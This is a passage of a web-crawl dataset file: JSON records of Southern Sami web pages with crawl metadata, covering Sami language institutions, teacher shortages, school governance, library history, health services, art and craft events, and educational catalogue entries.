sisvegem åtna ulmieh jih illedahkh krieveme jih man jijnjh beetnegh åejvieladtjeste åadtjoeh. Mijjieh guhkies öörnegem utnebe mij nännoeste mejnie edtjebe barkedh.\nDarjome gellieh dajvine\nMijjieh medtie 90 barkijh jih goevtesh Göteborgesne, Stuehkesne jih Uppsalesne utnebe. Åejvieladtje reereme jih administrasjovne lea Uppsalesne.\nSaemiedigkie dïedtem saemien gïeli bïjre åtna\nIsof dïedem gïelevaarjelimmie barkose åtna dah nationelle unnebelåhkoegïelide, såevmie, jiddisch, meänkieli jih romske. Saemiedigkie dïedtem saemien gïele barkose åtna External link..","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.isof.se\/sidor-pa-nationella-minoritetssprak\/samegiella\/aarjelsaemien\/aejvieladtje-bijre","date":"2023-09-22T07:08:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00109.warc.gz","language":"sma","language_score":0.9998360276,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 0.9998360276222229}","num_words":252,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.194,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nVaadtasovvemejaepie\n2006\nFaage\nGiele\nISBN\n978-82-7601-117-3\nFormaate\nSïejhme gærja\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n18\nGærja mij bihkede guktie paannelaejpieh dorjedh.\nLearoevierhtie mij vuesehte guktie edtjh paannelaejpieh dorjedh. Åenehks tekstigujmie jïh tjeehpes-veelkes guvviejgujmie vuesehte guktie edtjh dåemiedidh. Gærja lea dovhtehke paehpierasse tjaalasovveme. Aerebe lea jeatja learoevierhtieh seamma raajrosne dorjesovveme. Dej sisvege lea gueliekrovhte, eeplegaahkoe jïh laajpetjh. Birkelid maahtoesentere lea gærjam hammoedamme. Tor Persen lea gærjam noerhtesaemiengïelese jarkoestamme.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/girji_paannelaejpieh","date":"2023-09-23T10:33:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506480.7\/warc\/CC-MAIN-20230923094750-20230923124750-00708.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":67,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.161,"stopwords_ratio":0.119,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije NRK Sámi Radio Vaadtasovvemejaepie 2000 Faage Siebriedahkefaage Båatsoe jïh design Saemien histovrije jïh siebriedahke Saemien visuelle kultuvre Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Svïenskegïele Noerhtesaemiengïele Daaroengïele ISBN Vi282 Tïjje 00:28:00 Formaate DVD Reakta-aajhtere NRK Sámi Radio Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Jaavoe Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Duedtie Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Saemien histovrije Kultuvre Filme Siebriedahke Siebriedahkedaajroe Ökonomije Viehkiebaakoe ČSV","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/filbma_turisme-i-sameland","date":"2023-09-22T22:56:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506423.70\/warc\/CC-MAIN-20230922202444-20230922232444-00468.warc.gz","language":"sma","language_score":0.9990383387,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9990383386611938}","num_words":61,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.115,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Abpe Nöörje saemien lohkehtæjjah fååtese\nJovvna Ánde Balto Henriksen lea aadtjen lohkehtæjjaööpehtimmiem vaalteme golme faagine, bene saemien ij leah akte dejstie. Dïhte akte gille lohketæjjijste guhte maahta noertesaemiengïelesne ööhpehtidh dan åvteste dïhte dan ietniengïele.\nLohketæjjah goh Jovnna Ánde fååtesieh: lohkehtæjjah mah saemien gïelem maehtieh.\n– Dan jeenjesh fååtesieh, joekoen saemien lohketæjjah, guktie mahte njåajjan domtoe, dïhte aadtjen ööhpehtamme maadthskuvlelohkehtæjja jeahta. Manne saamastallije lohkehtæjja jïh naa aelhkieslaakan barkoem åadtjoem dejnie jeenjemes sijjine.\n– Daate (lea) akte dejstie stööremes aehpijste mijjieh saemien seabradahkesne utnebe\n– Daesnie soptsesåvva saemien gïeli båetijen aejkien bïjre, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nDïhte meala dåeriesmoere lea stoerre joekehtse faaleldahki jïh tjoemehtehtemi gaskem, jïh fåantoe lea nuekie hijven gïelelohkehtimmie lea fååtesamme guhkiem.\nJis edtjebe maahtoeaehpiem dåastodh mijjieh daarpesjibie jienebh almetjh ööhpetimmiem vaeltieh. Daan biejjien ibie nuekies hijven ööhpetimmiefaaledahkem utnieh, jïh vaallah naan systeemem utnieh mij jåhta, jeahta.\nLohkh daaroengïelesne daesnie!","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.nrk.no\/sapmi\/nyheter\/abpe-noorje-saemien-lohkehtaejjah-faatese-1.16003726","date":"2023-09-24T18:23:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506658.2\/warc\/CC-MAIN-20230924155422-20230924185422-00784.warc.gz","language":"sma","language_score":0.9999917746,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999991774559021}","num_words":139,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ööhpehtimmieveeljemisnie dåaresthfaageles teema almetjehealsoe jïh jieledehaalveme learohkh lierieh mietiemoerem, trïegkenassem, haestemh jïh sertiestimmieh gïetedidh bööremeslaakan. Lïeremen jïh ektiedahkoen tjïrrh faagesne learohkh edtjieh goerkesem åadtjodh faktovri bïjre mah maehtieh vihkele årrodh jieledehaalvemasse jïh karrijeereveeljemasse, ryöjreldihkie sjïdtedh meatan årrodh barkosne jïh jieledeguhkies lïeremen bïjre, jïh nuepieh åadtjodh positijve jïjtjeguvviem jïh jearsoe identiteetem evtiedidh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/utv01-03\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2023-12-08T16:23:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100762.64\/warc\/CC-MAIN-20231208144732-20231208174732-00495.warc.gz","language":"sma","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000087022781372}","num_words":51,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.11,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieskuvleståvroe staaten reeremebyjjesfaamoe Ööhpehtimmiedepartemeenten nuelesne gusnie moenehtsen lïhtsegh Saemiedigkeste veeljesuvvieh. Byjjesfaamoe skuvleåejveste stuvrelge man lea dïedte stillemem radtjoestidh mejtie reerenasse vadteme stuvremen prievesne jïh moenehtsen mieriedimmieh radtjoestidh. Skuvleåejvie kanslijem stuvrie jïh stuvremetjïertem gusnie fïerhten skuvlen rektovrh meatan.\nNjoelkedasseprievie jïh buerkiestimmie\nSaemieskuvleståvroen stilleme dehtie reerenassen stuvremen prieveste jïh rïjhkebiejjien buerkiestimmeste.\nNjoelkedasseprievie\nFïerhten jaepien byjjesfaamoe aktem njoelkedasseprieviem åådtje gusnie ulmide nænnoestamme, guktie bååstede reektehtidh jïh båetije jaapan beetnehvierhtien dåajvoe. Njoelkedasseprievie akte reerenassemieriedimmie.\nBuerkiestimmie\n\"Saemieskuvleståvroen lea dïedte ööhpehtæmman saemieskuvlesne, aarhskuvleklaassesne jïh eejehtshïejmesne skuvleektievoetesne saemieskuvline.\"\nByjjesfaamoe edtja sov gïehtelimmine barkedh juktie gaajhkh saemiej maanah seammavyörtegs ööhpehtimmiem åadtjoeh skuvlelaaken (2010:800) mietie, buerie saemien lohkehtimmiem jearsoes byjreskisnie faalehtidh. Byjjesfaamoe edtja barkedh juktie maanah buerie nuepieh åadtjodh åvtenidh jïh lïeredh jïh barkedh saemieskuvlen learohki maahtoeilledahkh bueriedidh.\nByjjesfaamoen aaj jeatjah laavenjassh utnieh daejnie njoelkedassen mietie jallh jeatjah sjïere njoelkedassijste jallh sjïere mieriedimmijste.\"\nDam låhka voestes paragraafesne byjjesfaamoen buerkiestimmesne, dïhte tjaatsege mij mijjen gïehtelimmiem stuvrie.\nJeatjah laakh jïh njoelkedassh\nSaemieskuvleståvroen gïehtelimmieh aaj jeatjah laakijste stuvresåvva mejtie Rïjhkebiejjie nænnoestamme jallh byjjesfaamoenjoelkedassijste","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sameskolstyrelsen.se\/sy\/byjjesfaamoe\/stilleme\/","date":"2023-12-01T05:50:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100276.12\/warc\/CC-MAIN-20231201053039-20231201083039-00159.warc.gz","language":"sma","language_score":0.9999997616,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999997615814209}","num_words":160,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.109,"stopwords_ratio":0.094,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sanks regijovnide dåvta psykiatrijehåksoem vedtedh mij lea saemide sjïehtesjadteme. Sanks:n håksoebarkijh saemiej jielemen bïjre maehtieh jïh stööremes lehkie barkijistie saemiestieh.\nDatne maahtah gåhtjomem Sanks:ese åadtjodh\nTsiehkieh mij lea latjkosne Sanks:n jïh regijovni gaskem:\n- Datne maahtah gåhtjomem håksose Sanks:sne åadtjodh.\n- Maahtah håksoem Sanks:sne åadtjodh jallh digitaales håksoem åadtjodh.\n- Seamma man båeries dle maahtah viehkiem åadtjodh.\n- Dov dåaktere, psykolovge jallh kuratovre maehtieh Sanks:n barkiji gujmie gaskesadtedh guktie hijven håksoem åadtjoeh.\nPasijeentelaake ajve almetjidie Sveerjesne. Dan gaavhtan ih jïjtje maehtieh Sanks:m bieljelidh.\nDïhte håksoebarkije dov regijovnesne vierhtede mejtie gåhtjomem Sanks:ese daarpesjh. Gihtjh dam dov dåakterem, psykolovgem jallh kuratovrem jis sïjhth maam vielie daan bïjre daejredh. Datne maahtah Saemien vierhtieektievoetem Johkemehkien healsoejarngesne bieljelidh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.1177.se\/sma-se\/Norrbotten\/other-languages\/other-languages\/ma-daligt---andra-sprak\/mojlighet-till-vard-hos-sanks-i-norge\/","date":"2023-11-28T22:01:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100016.39\/warc\/CC-MAIN-20231128214805-20231129004805-00571.warc.gz","language":"sma","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 1.0000050067901611}","num_words":109,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.064,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bievneme saemien lidteratuvren bïjre ovmessie kanaaline jïh areenine evtiesåvva laavenjostosne saemien gïele- jïh kultuvrejarngigujmie, tjïeltigujmie, fylhkigujmie jïh jeatjah organisasjovnigujmie. Mijjieh gærjagåetiedïenesjh evtiedibie prosjekti, kampanji jïh jeatjah råajvarimmiej tjïrrh. Saemiedigkien gærjagåetie aaj tjåadtjoehtæjjah bievnemen åvteste utnieh julev- jïh åarjelsaemien dajvine lissine noerhtesaemien dajvesne. Mijjieh learoevierhtiej bïjre bievnebe learoevierhtieportaalen tjïrrh Ovttas\/Aktan\/Aktesne laavenjostosne Learoevierhtiejarngine.\nSov barkoen tjïrrh jïh laavenjostosne jeatjah gærjagåetiejgujmie Saemiedigkien gærjagåetien laavenjassh leah Åålmehgærjagåetielaaken mietie Nöörjesne:\n«folkebibliotekene har til oppgave å fremme opplysning, utdanning og annen kulturell virksomhet, gjennom aktiv formidling og ved å stille bøker og andre medier gratis til disposisjon for alle som bor i landet. Folkebibliotekene skal være en uavhengig møteplass og arena for offentlig samtale og debatt. Det enkelte bibliotek skal i sine tilbud til barn og voksne legge vekt på kvalitet, allsidighet og aktualitet.»\n«åålmehgærjagåetiej laavenjasse lea bievnemem, ööhpehtimmiem jïh jeatjah kulturelle barkoem eevtjedh, eadtjohke bievnemen tjïrrh jïh gærjah jïh jeatjah medijh namhtah disposisjovnese faalehtidh gaajhkesidie mah laantesne årroeh. Åålmehgærjagåetieh edtjieh jïjtjeraarehke gaavnedimmiesijjine jïh areenine årrodh byögkeles soptsestallemasse jïh digkiedæmman. Fïereguhte gærjagåetie edtja sov faalenassi tjïrrh maanide jïh geerve almetjidie, leavloem bïejedh kvaliteetese, gellielaaketjasse jïh sjyöhtehkevoetese.»\nMaajhlöönemen tjïrrh jïh eadtjohkelaakan saemien lidteratuvren bïjre bievnedh Saemiedigkien gærjagåetie dåarjojne sjædta dejtie voenges gærjagåetide jïh dejtie viehkehte hijven gærjagåetiefaalenassem aaj saemien utniejidie faalehtidh.\nHistovrije\nTseegkeme Saemien sjïeregærjagåeteste eelki 1950-jaepiej. 1962 Karasjohken åålmehgærjagåetie sjïere dïedtem åadtjoeji saemien våarhkoem tseegkedh, mij edtji saemien gærjagåetiedïenesjem gaajhkide saemien årroejidie jïh jeatjabidie vedtedh. Aalkoelisnie våarhkoe lij goevtese Karasjohken åålmehgærjagåetien nuelesne. 1983 raejeste goevtese sjïere gærjagåetie sjïdti mij beetnehvierhtieh staateste åadtjoeji – Sámi sierrabibliotehka \/ Saemien sjïeregærjagåetie. Jaepien 2000 Saemien sjïeregærjagåetie Saemiedægkan sertiestovvi jïh nommem Saemiedigkien gærjagåetie åadtjoeji. Daelie gærjagåetie lea åajvoeh sijjesne saemiedigkiegåetesne Karasjohkesne.\nVåarhkoe\nSaemiedigkien gærjagåetie edtja dam jeenjemes ållesth våarhkoem saemien lidteratuvreste jïh jeatjah materijelleste utnedh saemien gïeline jïh saemien tsiehkiej bïjre saaht mennie gïelesne. Dovne jeatjah gærjagåetieh jïh aktegslöönijh edtjieh baahtsemem våarhkose utnedh jïh åehpies årrodh dejnie. Gærjagåetie jienebh låhkoeh gærjijste åasta guktie jeatjah gærjagåetieh maehtieh våarhkoem gærjijste löönedh jïh dejtie sijjen utniejidie löönestidh. Gærjagåetien våarhkosne ovrehte 54 000 fysiske tjaatsegh.\nNaestievåarhkoe\nmedtie 1200 tihtelh feerhmie, mij lea saemien tsiehkiej bïjre jallh aktene dejstie saemien gïelijste tjaalasovveme. Jienebelåhkoe tihtelijstie lea vielie goh 100 jaepien båeries. Våarhkosne antikvarijes, sveekes, båarasåbpoe jïh vyörtegs gærjah jïh tjaalegh, jïh såemies kaarhth bååstede jaapan 1669. Lissine såemies tihtelh dejstie minngemes 100 jaepijste sjïere aarvoem utnieh. Joekedimmie bæjhkoehtimmijste lea naemhtie daan biejjien: ovrehte 10 tihtelh 1600-låhkoste, 80 tihtelh 1700-låhkoste jïh 430 tihtelh 1800-låhkoste.\nDoh jeenjemes tjaatsegh naestievåarhkosne såemies löönedimmielåhkoeh magasijnesne utnieh, men ij åadtjoeh låhkoeh naestievåarhkoste gåatan löönedh. Muvhti veajkoej maahta dejtie veedtjedh jïh lohkedh gærjagåetesne.\nDejstie båarasommes gærjijste maahta neebnedh Manuale Lapponicum, Olaus Stepani Graan (Stuehkie 1673).\nLapponia, Johannes Schefferus, jienebh versjovnine 1673 raejeste jïh åvtese.\nAalkoeåålmegevåarhkoe\nSaemiedigkien gærjagåetie jïjtse aalkoeåålmegevåarhkoem tseegki 2014. Våarhkosne tjaatsegh aalkoeåålmegi bïjre abpe veartenisnie, jïh desnie ovrehte 200 tihtelh daelie. Saemiedigkie lea gærjah registreereme mejtie Saemiedigkie lea reebleme jïh vadtesinie åådtjeme, jïh dejtie gåarede löönedh\/maajhlöönedh Bibsysen baaktoe.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sametinget.no\/saemiedigkien-garjagaetie\/mijjen-garjagaetie\/","date":"2023-12-02T02:57:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100309.57\/warc\/CC-MAIN-20231202010506-20231202040506-00643.warc.gz","language":"sma","language_score":0.999989152,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999891519546509}","num_words":458,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.138,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije TV 2 Luleå NRK Sámi Radio Vaadtasovvemejaepie 1996 Faage Musihke Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte SAÖ 1-4 Giele Noerhtesaemiengïele Gïelesïerre ISBN Vi106 Tïjje 00:36:00 Formaate DVD Reakta-aajhtere TV 2 Luleå NRK Sámi Radio Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Jaavoe Aamhtesh Kultuvre Filme Musihke Siebriedahke Skuvle jïh ööhpehtimmie Saemiengïele heevehtslitteratuvre Viehkiebaakoe Maanalaavloeh","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/filbma_suga-suga-su","date":"2023-12-11T09:03:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679103810.88\/warc\/CC-MAIN-20231211080606-20231211110606-00799.warc.gz","language":"sma","language_score":0.9905623198,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9905623197555542}","num_words":49,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.187,"stopwords_ratio":0.102,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjelsaemien foneemeteeste - åarjelsaemiengïele\/sørsamisk\nÅarjelsaemien foneemeteeste maanan gïeletjoejh öörnegen mietie goerehte. Maahta daam nuhtjedh jis maana tsagkesh åtna gosse edtja soptsestidh, jallh jis sæjhta maanan baakoestimmiem goerehtidh.\nÅarjelsaemien foneemeteeste edtja viehkine årrodh logopedide, sjïerepedagogide jïh jeatjebh mah dïrregh darpesjieh maanaj gïelh vuarjasjidh. Maahta teestem daam nuhtjedh maanan 4. aalteristie, men gåarede aaj nuhtjedh nuerebh maanide.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/statped.no\/laringsressurser\/sprak-og-tale\/samisk-spraktale\/aarjelsaemien-foneemeteeste---aarjelsaemiengielesorsamisk\/","date":"2023-12-01T04:29:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100264.9\/warc\/CC-MAIN-20231201021234-20231201051234-00411.warc.gz","language":"sma","language_score":1.0000042915,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000042915344238}","num_words":53,"character_repetition_ratio":0.132,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aktiviteter\nPierre Åhrén\nMov gïele – Mitt språk – My language\nSaemien Sijte ruffien 21.b. – skïereden 29.b. 2023\nLes på norsk her.\nPierre Åhrénen tjeahpoeh leah klaeriedihks, skaadtjoeh åljapastelleguvvieh mah skraejriem jïjtse jieliedistie jïh saemien roehtsijste utnieh. Åhrén lea åarjelsaemien tjiehpiedæjja sov maadtoejgujmie Frööstegistie, Jïemhte. Dïhte Stuehkesne byjjenamme gusnie aaj daelie årroeminie.\nPierre lea åajvahkommes jïjtje lïereme, jïh lea 2015 raejeste meatan orreme gïehtelimmesne «Frilansmålning» sijjesne Svalans bildateljé, Aspudden Stuehkesne. Mænngan 2016 dïhte sov vierhkieh 14 vuesiehtimmine åtneme. 2018 saemien kultuvrestipendem åadtjoeji Regijovneste Jïemhte-Herjedaelie.\n«Mov guvvine heannadimmieh jïh dååjresh jïjtjene jieliedistie jijhtieh. Klaerieh fååmijes jïh manne intuitijve jïh impulsijve sjugniedimmesne.\n– Pierre Åhrén\nGuvvine aaj parallellh aalkoeåålmegekultuvride abpe veartenisnie gaavna. Musihke, daanhtsoe jïh jievkehtimmieh veartenen gaajhkijste roenijste domtesh jïh åssjaldahkh gåaskoeh måaladimmieprosessesne.\nSåemies aaj Åhrénem tjiehpiedæjjine Picasso viertiestamme.\n«Voestes aejkien manne Pierren tjeahpoeh vööjnim maam akt joekoen sjïere vööjnim. Klaerieh, hammoeh jïh domtesh mah mov åssjaldahkh meatan veeltin Picasson bööremes vierhkide …»\n– Åke Westin, Täby, tjiehpiedæjja KRO","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/saemiensijte.no\/sami\/aktiviteter\/pierre-ahren-mov-giele-2\/","date":"2023-12-09T07:45:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100873.6\/warc\/CC-MAIN-20231209071722-20231209101722-00359.warc.gz","language":"sma","language_score":0.9998726845,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9998726844787598}","num_words":148,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.162,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne lïerh\n- ekonomeles jïh nænnoes gïehtelimmie\n- maarkedebievnemen, entreprenørskapen jïh innovasjovne bïjre\n- reeremen jïh digitaale dïrregi bïjre\n- fealadassen jïh turismen bïjre\n- åestijegïetedimmie jïh doekeme\n- soejkesjimmie jïh tjïrrehtimmie jearsoesvoeteråajvarimmijste\nDatne byörh\n- öörnegen jïh struktuvren mietie barkedh jïh ulmine utnedh illedahkh\n- kreatijve årrodh jïh maehtedh strategeles ussjedidh\n- ræhpas årrodh ovmessie kultuvride jïh aerpievuekide\n- ïedtjem utnedh almetjigujmie gaskesadtedh\nDatne maahtah sjïdtedh\n- doekemebarkije jallh fealadassebarkije\n- administrasjovnebarkije jallh vaeptie\nVuartesjh gaajhkh barkoeh jïh maahtoeh\nBarkoesijjieh\n- jïjtse sïelte\n- kontovrh jïh hotellh\n- turisme- jïh fealadassesïelth\n- bovrh jallh stuerebe sïelth\n- vaeptiesïelth, alarmejarngh jallh girtiesijjieh\nGuhkiebasse ööhpehtimmie\nBarkoefaageles lïerehtimmie barkoemaahtoem ulmine åtna (faage- jallh svenneprievine jallh namhtah). Barkoefaageles lïerehtimmiem mænngan maahtah barkosne aelkedh jallh guhkiebasse ööhpehtimmiem vaeltedh:\n- Maahtah jåarhkeööhpehtimmiem vaeltedh faageskuvlesne. Faageskuvleööhpehtimmie lea åenehks jïh barkoestuvreme jåarhkeööhpehtimmie mij lea ussjedamme dejtie mah barkoefaagem vaadtseme.\n- Maahtah Jåa3 lissiebigkemem sïejhme studijemaahtose vaeltedh\n– Jåa 2:n mænngan jallh\n– mænngan barkoemaahtoem jakseme.\nDellie nuepiem åtnah jollebe ööhpehtimmiem vaeltedh jïlleskuvlesne jallh universiteetesne. Mujhtieh såemies studijh, v.g. insjenööre-, realfaage- jïh medisijnen studijh, krievieh dov leah vihties realfaagh.\n- Maahtah aaj tsaekemem ohtsedh jollebe ööhpehtæmman åvtekuvsjen mænngan B-geajnoen tjïrrh, barkoefaageles geajnoe jollebe ööhpehtæmman. B-geajnoe lea ussjedamme dutnjien mij sjyöhtehke barkoemaahtoem åtna. Åvtekuvsjh jïh B-geajnoe leah sïejhmemes realfaage- jïh insjenöörestudiji sisnjeli.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/doekeme-service-jih-fealadasse\/program\/v.sr","date":"2023-12-05T14:35:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100551.2\/warc\/CC-MAIN-20231205140836-20231205170836-00079.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":191,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Arrangement\nTsåahka: 12:00–16:30\nVaasa: 4,5 tæjmoeh (30 min. lïegkedimmine)\nDah mah leah meatan daennie vierhkiesijjesne, edtjieh saemien gïetebaanth skåerreste jïh gårraldihkie ditneste darjodh. Bïhkedæjjah Oslo Sámiid Duodjiste sijhtieh vierhkiesijjiem stuvredh, jïh aarvoen bïjre soptsestidh guktie voerkeslaakan ïebnh eatnamistie duedtesne nuhtjie, jïh vihkelesvoeten bïjre saemien symbovlh guedtedh.\nGïetebaante mij vierhkiesijjesne dorjesåvva aaj maahta almetjijstie åtnasovvedh mah eah leah saemien maadtoste. Ij leah daerpies åvtedaajrojne gåaroemisnie jis sæjhta meatan årrodh.\nMijjieh prïhtjegem, gejhkiebearkoem jïh vegaane alternatijvem gåassoehtibie.\nVierhkiesijjie edtja jearsoe areenine årrodh gaajhkesidie. Daesnie nulletoleraanse sïerreden, narrahtihks jïh væssjoehtihks lahtestimmide. Gaskesadth aktem mijjen tjåadtjoehtæjjijste öörnemen åvteste jis maam akt dååjrh mij ovsjiehteles domtoe.\nOslo Sámiid Duodji lea voenges siebrie mij vætnoelierehtimmine jïh vætnoebarkojne gïehtele, mij Oslosne håalleste. Siebrie barkeminie daajroem lissiehtidh vætnoen bïjre seminaarine, soptsestalleminie, kuvsjine jïh vierhkiesijjine. Mijjen bïhkedæjjah lissine daajroem dan vælnjoeh byjresen bïjre Oslosne utnieh, jïh jearsoe sijjiem faalehtieh gusnie almetjh mah leah meatan maehtieh vielie vætnoen bïjre lïeredh saemien jïh vælnjoeh konteekstesne, jïh jïjtse tsiehkiem vætnose kraanskodh.\nGæjhtoe seabran Garmeres dej daajroen jïh dåarjoen åvteste daan bievnemeprosjektese.\nDaate vierhkiesijjie lea bielie vuesiehtimmijste jïh bievnemeprosjektijste SOLO OSLO, tjiehpiedæjjijste jïh bievniejijstie mah ektiedimmiem Oslose utnieh, mejtie Talent Norge jïh Canica dåarjoehtieh.\nBilde: Arnhild Haagensen & Tatjana Korpus","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.munchmuseet.no\/hva_skjer\/grupper\/ramis-reinskinn-og-tinntrad-SS\/","date":"2023-12-07T11:09:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100651.34\/warc\/CC-MAIN-20231207090036-20231207120036-00379.warc.gz","language":"sma","language_score":0.9999983311,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999983310699463}","num_words":193,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.176,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stoerretjåanghkoe njoktjen 5.-8. b. 2024\nSaemiedigkie abpe stoerretjåanghkoem nuhtjie sisvegem Saetniesvoete- jïh liktemekommisjovnen reektehtsisnie gïetedidh. Stoerretjåanghkoe aalka njoktjen 5.b. jïh orreje bearjadahken njoktjen 8.b.\nStoerretjåanghkoen gïetedimmien sjïekenisnie Saetniesvoete- jïh liktemekommisjovnen reektehtsinie akte vijries kulturelle programme Saemiedigkesne sjædta.\nVuartesjh stoerretjåanghkoen aamhteselæstoem jïh programmem\nLohkh vielie dan kulturelle programmen bïjre","id":"","dump":"CC-MAIN-2024-10","url":"https:\/\/sametinget.no?sprak=14\/","date":"2024-03-02T06:09:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-10\/segments\/1707947475757.50\/warc\/CC-MAIN-20240302052634-20240302082634-00827.warc.gz","language":"sma","language_score":0.9999935627,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999935626983643}","num_words":46,"character_repetition_ratio":0.128,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} 